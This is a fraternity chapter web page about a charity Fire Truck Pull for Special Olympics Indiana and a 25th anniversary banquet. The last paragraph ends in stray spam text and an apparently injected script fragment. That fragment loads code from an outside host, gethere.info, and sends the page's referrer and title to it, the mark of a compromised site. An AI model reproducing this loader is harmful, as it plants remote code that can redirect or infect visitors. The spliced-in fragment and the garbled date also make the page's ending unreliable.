5th Annual Fire Truck Pull

Fire Truck Pull is a community event in which teams of 8-10 people compete to pull a fire truck 100 ft in the fastest amount of time. It began 5 years ago by our own Iota Delta chapter at the Terre Haute Airport and has grown into a highly recognized event by the Terre Haute community and Special Olympics Indiana. Last year, Fire Truck Pull raised over $5,000 for Special Olympics Indiana with over 20 teams participating in this event. Past teams include the Terre Haute Fire Department, the Union Hospital, the Terre Haute Police Department, and Shriners. In addition, over 500 people from the various parts of the community and Special Olympic athletes attended our event, joining to raise awareness and support for Special Olympics Indiana.

Our goal is to raise over $10,000 for Special Olympics Indiana and have at least 10 community teams participate in our event.

25th Anniversary Banquet

The 25th Anniversary banquet marked a landmark for Iota Delta chapter.  The banquet was held at the Mavris Arts Building on February 2 2013nd.  There were over 250 guests in attendance that settled in to celebrate the achievements of the past 25 years.  This event was attended by a past international president, the first chapter advisor, and three members of the first initiation class.  Also in attendance, were over forty alumni spanning the history of our Chapter, which brought with them numerous stories and fantastic attitudes.

The banquet was held not only to celebrate the past 25 years of Pi Kappa Alpha at Rose-Hulman, but also to celebrate the initiation of twenty-five outstanding gentlemen into the bonds that tie us all together.  These men put in an enormous amount of work, and the night was held to honor their dedication. expiration of domains . aepnow .s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
